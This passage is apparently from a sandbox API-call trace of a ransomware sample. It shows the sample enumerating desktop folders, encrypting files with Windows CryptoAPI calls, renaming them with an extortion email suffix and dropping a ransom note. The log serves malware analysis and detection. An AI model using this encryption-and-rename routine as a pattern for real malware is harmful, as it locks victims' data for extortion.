"c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fkh p\\xgqzhjz8zsk3deejwxc.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fKh p\\xgqZHJz8zsk3DeEjWxC.bmp.[4B2E4630].[garantos@mailfence.com].captcha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fkh p\\xgqzhjz8zsk3deejwxc.bmp.[4b2e4630].[garantos@mailfence.com].captcha")) returned 1 [0120.109] CloseHandle (hObject=0x120) returned 1 [0120.109] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.109] FindNextFileW (in: hFindFile=0x53a950, lpFindFileData=0x329fa98 | out: lpFindFileData=0x329fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbb244030, ftCreationTime.dwHighDateTime=0x1d5dcc9, ftLastAccessTime.dwLowDateTime=0xe1a96c70, ftLastAccessTime.dwHighDateTime=0x1d5e4b8, ftLastWriteTime.dwLowDateTime=0xe1a96c70, ftLastWriteTime.dwHighDateTime=0x1d5e4b8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520138, dwReserved1=0x77c7387a, cFileName="Ybkg9-fRsLm44DuisQD", cAlternateFileName="YBKG9-~1")) returned 1 [0120.109] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.109] GetProcessHeap () returned 0x520000 [0120.109] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x545658 [0120.109] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fKh p\\Ybkg9-fRsLm44DuisQD\\*.*", lpFindFileData=0x329f810 | out: lpFindFileData=0x329f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbb244030, ftCreationTime.dwHighDateTime=0x1d5dcc9, ftLastAccessTime.dwLowDateTime=0xe1a96c70, ftLastAccessTime.dwHighDateTime=0x1d5e4b8, ftLastWriteTime.dwLowDateTime=0xe1a96c70, ftLastWriteTime.dwHighDateTime=0x1d5e4b8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x545248 [0120.109] GetProcessHeap () returned 0x520000 [0120.109] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545658 | out: hHeap=0x520000) returned 1 [0120.110] FindNextFileW (in: hFindFile=0x545248, lpFindFileData=0x329f810 | out: lpFindFileData=0x329f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbb244030, ftCreationTime.dwHighDateTime=0x1d5dcc9, ftLastAccessTime.dwLowDateTime=0xe1a96c70, ftLastAccessTime.dwHighDateTime=0x1d5e4b8, ftLastWriteTime.dwLowDateTime=0xe1a96c70, ftLastWriteTime.dwHighDateTime=0x1d5e4b8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0120.110] FindNextFileW (in: hFindFile=0x545248, lpFindFileData=0x329f810 | out: lpFindFileData=0x329f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdedf1de0, ftCreationTime.dwHighDateTime=0x1d5e04f, ftLastAccessTime.dwLowDateTime=0x36e2f090, ftLastAccessTime.dwHighDateTime=0x1d5e814, ftLastWriteTime.dwLowDateTime=0x36e2f090, ftLastWriteTime.dwHighDateTime=0x1d5e814, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520138, dwReserved1=0x77c7387a, cFileName="-BFAfx", cAlternateFileName="")) returned 1 [0120.110] GetProcessHeap () returned 0x520000 [0120.110] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x292) returned 0x56c930 [0120.110] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.110] GetProcessHeap () returned 0x520000 [0120.110] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9e) returned 0x545658 [0120.110] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fKh p\\Ybkg9-fRsLm44DuisQD\\-BFAfx\\*.*", lpFindFileData=0x329f588 | out: lpFindFileData=0x329f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdedf1de0, ftCreationTime.dwHighDateTime=0x1d5e04f, ftLastAccessTime.dwLowDateTime=0x36e2f090, ftLastAccessTime.dwHighDateTime=0x1d5e814, ftLastWriteTime.dwLowDateTime=0x36e2f090, ftLastWriteTime.dwHighDateTime=0x1d5e814, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x329f5d0, dwReserved1=0x77c7b3f2, cFileName=".", cAlternateFileName="")) returned 0x545700 [0120.110] GetProcessHeap () returned 0x520000 [0120.110] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545658 | out: hHeap=0x520000) returned 1 [0120.110] FindNextFileW (in: hFindFile=0x545700, lpFindFileData=0x329f588 | out: lpFindFileData=0x329f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdedf1de0, ftCreationTime.dwHighDateTime=0x1d5e04f, ftLastAccessTime.dwLowDateTime=0x36e2f090, ftLastAccessTime.dwHighDateTime=0x1d5e814, ftLastWriteTime.dwLowDateTime=0x36e2f090, ftLastWriteTime.dwHighDateTime=0x1d5e814, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x329f5d0, dwReserved1=0x77c7b3f2, cFileName="..", cAlternateFileName="")) returned 1 [0120.111] FindNextFileW (in: hFindFile=0x545700, lpFindFileData=0x329f588 | out: lpFindFileData=0x329f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x861fcc90, ftCreationTime.dwHighDateTime=0x1d5e211, ftLastAccessTime.dwLowDateTime=0xeaa2b700, ftLastAccessTime.dwHighDateTime=0x1d5e387, ftLastWriteTime.dwLowDateTime=0xeaa2b700, ftLastWriteTime.dwHighDateTime=0x1d5e387, nFileSizeHigh=0x0, nFileSizeLow=0x4993, dwReserved0=0x329f5d0, dwReserved1=0x77c7b3f2, cFileName="B6P8j63mfXX.wav", cAlternateFileName="B6P8J6~1.WAV")) returned 1 [0120.111] GetProcessHeap () returned 0x520000 [0120.111] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2a0) returned 0x56dbd8 [0120.111] FindNextFileW (in: hFindFile=0x545700, lpFindFileData=0x329f588 | out: lpFindFileData=0x329f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd6e440, ftCreationTime.dwHighDateTime=0x1d5de25, ftLastAccessTime.dwLowDateTime=0x39349bf0, ftLastAccessTime.dwHighDateTime=0x1d5e657, ftLastWriteTime.dwLowDateTime=0x39349bf0, ftLastWriteTime.dwHighDateTime=0x1d5e657, nFileSizeHigh=0x0, nFileSizeLow=0xc35b, dwReserved0=0x329f5d0, dwReserved1=0x77c7b3f2, cFileName="MaN64YLKxUZt5.mp4", cAlternateFileName="MAN64Y~1.MP4")) returned 1 [0120.111] FindNextFileW (in: hFindFile=0x545700, lpFindFileData=0x329f588 | out: lpFindFileData=0x329f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd6e440, ftCreationTime.dwHighDateTime=0x1d5de25, ftLastAccessTime.dwLowDateTime=0x39349bf0, ftLastAccessTime.dwHighDateTime=0x1d5e657, ftLastWriteTime.dwLowDateTime=0x39349bf0, ftLastWriteTime.dwHighDateTime=0x1d5e657, nFileSizeHigh=0x0, nFileSizeLow=0xc35b, dwReserved0=0x329f5d0, dwReserved1=0x77c7b3f2, cFileName="MaN64YLKxUZt5.mp4", cAlternateFileName="MAN64Y~1.MP4")) returned 0 [0120.111] FindClose (in: hFindFile=0x545700 | out: hFindFile=0x545700) returned 1 [0120.111] GetProcessHeap () returned 0x520000 [0120.111] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dbd8 | out: hHeap=0x520000) returned 1 [0120.111] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.111] FindNextFileW (in: hFindFile=0x545248, lpFindFileData=0x329f810 | out: lpFindFileData=0x329f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ab6e330, ftCreationTime.dwHighDateTime=0x1d5de4e, ftLastAccessTime.dwLowDateTime=0x9c8880a0, ftLastAccessTime.dwHighDateTime=0x1d5e7eb, ftLastWriteTime.dwLowDateTime=0x9c8880a0, ftLastWriteTime.dwHighDateTime=0x1d5e7eb, nFileSizeHigh=0x0, nFileSizeLow=0x14a12, dwReserved0=0x520138, dwReserved1=0x77c7387a, cFileName="-Pf9cglHmfM6PK08Wc.wav", cAlternateFileName="-PF9CG~1.WAV")) returned 1 [0120.111] FindNextFileW (in: hFindFile=0x545248, lpFindFileData=0x329f810 | out: lpFindFileData=0x329f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1960b480, ftCreationTime.dwHighDateTime=0x1d5dff4, ftLastAccessTime.dwLowDateTime=0xfde69030, ftLastAccessTime.dwHighDateTime=0x1d5e647, ftLastWriteTime.dwLowDateTime=0xfde69030, ftLastWriteTime.dwHighDateTime=0x1d5e647, nFileSizeHigh=0x0, nFileSizeLow=0x16b64, dwReserved0=0x520138, dwReserved1=0x77c7387a, cFileName="iketPOLwpwLH.mp4", cAlternateFileName="IKETPO~1.MP4")) returned 1 [0120.111] FindNextFileW (in: hFindFile=0x545248, lpFindFileData=0x329f810 | out: lpFindFileData=0x329f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46fac9c0, ftCreationTime.dwHighDateTime=0x1d5e266, ftLastAccessTime.dwLowDateTime=0x72cee590, ftLastAccessTime.dwHighDateTime=0x1d5df05, ftLastWriteTime.dwLowDateTime=0x72cee590, ftLastWriteTime.dwHighDateTime=0x1d5df05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520138, dwReserved1=0x77c7387a, cFileName="u0Mcu0n", cAlternateFileName="")) returned 1 [0120.111] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.111] GetProcessHeap () returned 0x520000 [0120.111] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x545658 [0120.111] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fKh p\\Ybkg9-fRsLm44DuisQD\\u0Mcu0n\\*.*", lpFindFileData=0x329f588 | out: lpFindFileData=0x329f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46fac9c0, ftCreationTime.dwHighDateTime=0x1d5e266, ftLastAccessTime.dwLowDateTime=0x72cee590, ftLastAccessTime.dwHighDateTime=0x1d5df05, ftLastWriteTime.dwLowDateTime=0x72cee590, ftLastWriteTime.dwHighDateTime=0x1d5df05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x329f5d0, dwReserved1=0x77c7b3f2, cFileName=".", cAlternateFileName="")) returned 0x545700 [0120.112] GetProcessHeap () returned 0x520000 [0120.112] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545658 | out: hHeap=0x520000) returned 1 [0120.112] FindNextFileW (in: hFindFile=0x545700, lpFindFileData=0x329f588 | out: lpFindFileData=0x329f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46fac9c0, ftCreationTime.dwHighDateTime=0x1d5e266, ftLastAccessTime.dwLowDateTime=0x72cee590, ftLastAccessTime.dwHighDateTime=0x1d5df05, ftLastWriteTime.dwLowDateTime=0x72cee590, ftLastWriteTime.dwHighDateTime=0x1d5df05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x329f5d0, dwReserved1=0x77c7b3f2, cFileName="..", cAlternateFileName="")) returned 1 [0120.112] FindNextFileW (in: hFindFile=0x545700, lpFindFileData=0x329f588 | out: lpFindFileData=0x329f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46fac9c0, ftCreationTime.dwHighDateTime=0x1d5e266, ftLastAccessTime.dwLowDateTime=0x72cee590, ftLastAccessTime.dwHighDateTime=0x1d5df05, ftLastWriteTime.dwLowDateTime=0x72cee590, ftLastWriteTime.dwHighDateTime=0x1d5df05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x329f5d0, dwReserved1=0x77c7b3f2, cFileName="..", cAlternateFileName="")) returned 0 [0120.112] FindClose (in: hFindFile=0x545700 | out: hFindFile=0x545700) returned 1 [0120.112] GetProcessHeap () returned 0x520000 [0120.112] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x520000) returned 1 [0120.112] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.112] FindNextFileW (in: hFindFile=0x545248, lpFindFileData=0x329f810 | out: lpFindFileData=0x329f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46fac9c0, ftCreationTime.dwHighDateTime=0x1d5e266, ftLastAccessTime.dwLowDateTime=0x72cee590, ftLastAccessTime.dwHighDateTime=0x1d5df05, ftLastWriteTime.dwLowDateTime=0x72cee590, ftLastWriteTime.dwHighDateTime=0x1d5df05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520138, dwReserved1=0x77c7387a, cFileName="u0Mcu0n", cAlternateFileName="")) returned 0 [0120.112] FindClose (in: hFindFile=0x545248 | out: hFindFile=0x545248) returned 1 [0120.112] GetProcessHeap () returned 0x520000 [0120.112] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c930 | out: hHeap=0x520000) returned 1 [0120.112] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.112] FindNextFileW (in: hFindFile=0x53a950, lpFindFileData=0x329fa98 | out: lpFindFileData=0x329fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbb244030, ftCreationTime.dwHighDateTime=0x1d5dcc9, ftLastAccessTime.dwLowDateTime=0xe1a96c70, ftLastAccessTime.dwHighDateTime=0x1d5e4b8, ftLastWriteTime.dwLowDateTime=0xe1a96c70, ftLastWriteTime.dwHighDateTime=0x1d5e4b8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520138, dwReserved1=0x77c7387a, cFileName="Ybkg9-fRsLm44DuisQD", cAlternateFileName="YBKG9-~1")) returned 0 [0120.112] GetProcessHeap () returned 0x520000 [0120.112] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x53c878 [0120.113] CryptImportKey (in: hProv=0x534c08, pbData=0x329f9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x545248) returned 1 [0120.113] CryptDecrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x53c878, pdwDataLen=0x329fa60 | out: pbData=0x53c878, pdwDataLen=0x329fa60) returned 1 [0120.113] CryptDestroyKey (hKey=0x545248) returned 1 [0120.113] GetProcessHeap () returned 0x520000 [0120.113] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5354c8 [0120.113] CryptImportKey (in: hProv=0x534c08, pbData=0x329f9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x545248) returned 1 [0120.113] CryptDecrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x5354c8, pdwDataLen=0x329fa60 | out: pbData=0x5354c8, pdwDataLen=0x329fa60) returned 1 [0120.113] CryptDestroyKey (hKey=0x545248) returned 1 [0120.113] GetProcessHeap () returned 0x520000 [0120.113] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x400) returned 0x56b928 [0120.113] CryptImportKey (in: hProv=0x534c08, pbData=0x329f9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x545248) returned 1 [0120.113] CryptDecrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x56b928, pdwDataLen=0x329fa60 | out: pbData=0x56b928, pdwDataLen=0x329fa60) returned 1 [0120.113] CryptDestroyKey (hKey=0x545248) returned 1 [0120.113] wsprintfW (in: param_1=0x329ea3c, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fKh p\\build note.txt") returned 58 [0120.113] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fKh p\\build note.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fkh p\\build note.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0120.115] WriteFile (in: hFile=0x120, lpBuffer=0x56b928*, nNumberOfBytesToWrite=0x3e4, lpNumberOfBytesWritten=0x329ea38, lpOverlapped=0x0 | out: lpBuffer=0x56b928*, lpNumberOfBytesWritten=0x329ea38*=0x3e4, lpOverlapped=0x0) returned 1 [0120.116] CloseHandle (hObject=0x120) returned 1 [0120.119] GetProcessHeap () returned 0x520000 [0120.119] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56b928 | out: hHeap=0x520000) returned 1 [0120.119] GetProcessHeap () returned 0x520000 [0120.119] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5354c8 | out: hHeap=0x520000) returned 1 [0120.119] GetProcessHeap () returned 0x520000 [0120.119] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c878 | out: hHeap=0x520000) returned 1 [0120.119] FindClose (in: hFindFile=0x53a950 | out: hFindFile=0x53a950) returned 1 [0120.119] GetProcessHeap () returned 0x520000 [0120.119] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56b6b0 | out: hHeap=0x520000) returned 1 [0120.119] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.120] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fa47870, ftCreationTime.dwHighDateTime=0x1d5dc52, ftLastAccessTime.dwLowDateTime=0x7d0a02c0, ftLastAccessTime.dwHighDateTime=0x1d5dff4, ftLastWriteTime.dwLowDateTime=0x7d0a02c0, ftLastWriteTime.dwHighDateTime=0x1d5dff4, nFileSizeHigh=0x0, nFileSizeLow=0xdab8, dwReserved0=0x0, dwReserved1=0xffff, cFileName="gjhUgLL.jpg", cAlternateFileName="")) returned 1 [0120.120] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gjhUgLL.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gjhugll.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0120.120] GetProcessHeap () returned 0x520000 [0120.120] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x544120 [0120.120] CryptGenRandom (in: hProv=0x534c08, dwLen=0x10, pbBuffer=0x544120 | out: pbBuffer=0x544120) returned 1 [0120.120] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb0 | out: lpNewFilePointer=0x0) returned 1 [0120.120] WriteFile (in: hFile=0x124, lpBuffer=0x329fcc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fcc0*, lpNumberOfBytesWritten=0x329fc90*=0x8, lpOverlapped=0x0) returned 1 [0120.121] CryptImportKey (in: hProv=0x534c08, pbData=0x545100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.121] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.121] GetProcessHeap () returned 0x520000 [0120.121] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5354c8 [0120.121] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x5354c8*, pdwDataLen=0x329fc78*=0x40, dwBufLen=0x40 | out: pbData=0x5354c8*, pdwDataLen=0x329fc78*=0x40) returned 1 [0120.121] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.122] WriteFile (in: hFile=0x124, lpBuffer=0x5354c8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x5354c8*, lpNumberOfBytesWritten=0x329fc90*=0x40, lpOverlapped=0x0) returned 1 [0120.122] WriteFile (in: hFile=0x124, lpBuffer=0x329fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fc98*, lpNumberOfBytesWritten=0x329fc90*=0x4, lpOverlapped=0x0) returned 1 [0120.122] WriteFile (in: hFile=0x124, lpBuffer=0x544120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x544120*, lpNumberOfBytesWritten=0x329fc90*=0x10, lpOverlapped=0x0) returned 1 [0120.122] WriteFile (in: hFile=0x124, lpBuffer=0x5451c0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x5451c0*, lpNumberOfBytesWritten=0x329fc90*=0x80, lpOverlapped=0x0) returned 1 [0120.122] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb8 | out: lpNewFilePointer=0x0) returned 1 [0120.122] WriteFile (in: hFile=0x124, lpBuffer=0x329fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fca8*, lpNumberOfBytesWritten=0x329fc90*=0x8, lpOverlapped=0x0) returned 1 [0120.122] CryptImportKey (in: hProv=0x534c08, pbData=0x545100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.122] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.122] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.122] ReadFile (in: hFile=0x124, lpBuffer=0x3090020, nNumberOfBytesToRead=0xdab8, lpNumberOfBytesRead=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x329fc9c*=0xdab8, lpOverlapped=0x0) returned 1 [0120.123] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090020*, pdwDataLen=0x329fc78*=0xdac0, dwBufLen=0xdac0 | out: pbData=0x3090020*, pdwDataLen=0x329fc78*=0xdac0) returned 1 [0120.124] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.124] WriteFile (in: hFile=0x124, lpBuffer=0x3090020*, nNumberOfBytesToWrite=0xdac0, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesWritten=0x329fc90*=0xdac0, lpOverlapped=0x0) returned 1 [0120.124] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.124] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xdb94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.124] SetEndOfFile (hFile=0x124) returned 1 [0120.128] GetProcessHeap () returned 0x520000 [0120.128] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5354c8 | out: hHeap=0x520000) returned 1 [0120.128] GetProcessHeap () returned 0x520000 [0120.128] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0120.128] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gjhUgLL.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gjhugll.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gjhUgLL.jpg.[4B2E4630].[garantos@mailfence.com].captcha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gjhugll.jpg.[4b2e4630].[garantos@mailfence.com].captcha")) returned 1 [0120.132] CloseHandle (hObject=0x124) returned 1 [0120.132] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.132] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf30ba4a0, ftCreationTime.dwHighDateTime=0x1d5db54, ftLastAccessTime.dwLowDateTime=0x824324c0, ftLastAccessTime.dwHighDateTime=0x1d5e0f7, ftLastWriteTime.dwLowDateTime=0x824324c0, ftLastWriteTime.dwHighDateTime=0x1d5e0f7, nFileSizeHigh=0x0, nFileSizeLow=0x157a0, dwReserved0=0x0, dwReserved1=0xffff, cFileName="irQ7G5.wav", cAlternateFileName="")) returned 1 [0120.132] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf43b0930, ftCreationTime.dwHighDateTime=0x1d5e5a2, ftLastAccessTime.dwLowDateTime=0x54c29210, ftLastAccessTime.dwHighDateTime=0x1d5da3f, ftLastWriteTime.dwLowDateTime=0x54c29210, ftLastWriteTime.dwHighDateTime=0x1d5da3f, nFileSizeHigh=0x0, nFileSizeLow=0x9526, dwReserved0=0x0, dwReserved1=0xffff, cFileName="j3JyUbK.doc", cAlternateFileName="")) returned 1 [0120.132] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j3JyUbK.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j3jyubk.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0120.133] GetProcessHeap () returned 0x520000 [0120.133] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x544120 [0120.133] CryptGenRandom (in: hProv=0x534c08, dwLen=0x10, pbBuffer=0x544120 | out: pbBuffer=0x544120) returned 1 [0120.133] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb0 | out: lpNewFilePointer=0x0) returned 1 [0120.133] WriteFile (in: hFile=0x124, lpBuffer=0x329fcc0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fcc0*, lpNumberOfBytesWritten=0x329fc90*=0xa, lpOverlapped=0x0) returned 1 [0120.134] CryptImportKey (in: hProv=0x534c08, pbData=0x545038, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.134] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.134] GetProcessHeap () returned 0x520000 [0120.134] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5354c8 [0120.134] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x5354c8*, pdwDataLen=0x329fc78*=0x40, dwBufLen=0x40 | out: pbData=0x5354c8*, pdwDataLen=0x329fc78*=0x40) returned 1 [0120.134] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.134] WriteFile (in: hFile=0x124, lpBuffer=0x5354c8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x5354c8*, lpNumberOfBytesWritten=0x329fc90*=0x40, lpOverlapped=0x0) returned 1 [0120.134] WriteFile (in: hFile=0x124, lpBuffer=0x329fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fc98*, lpNumberOfBytesWritten=0x329fc90*=0x4, lpOverlapped=0x0) returned 1 [0120.135] WriteFile (in: hFile=0x124, lpBuffer=0x544120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x544120*, lpNumberOfBytesWritten=0x329fc90*=0x10, lpOverlapped=0x0) returned 1 [0120.135] WriteFile (in: hFile=0x124, lpBuffer=0x545138*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x545138*, 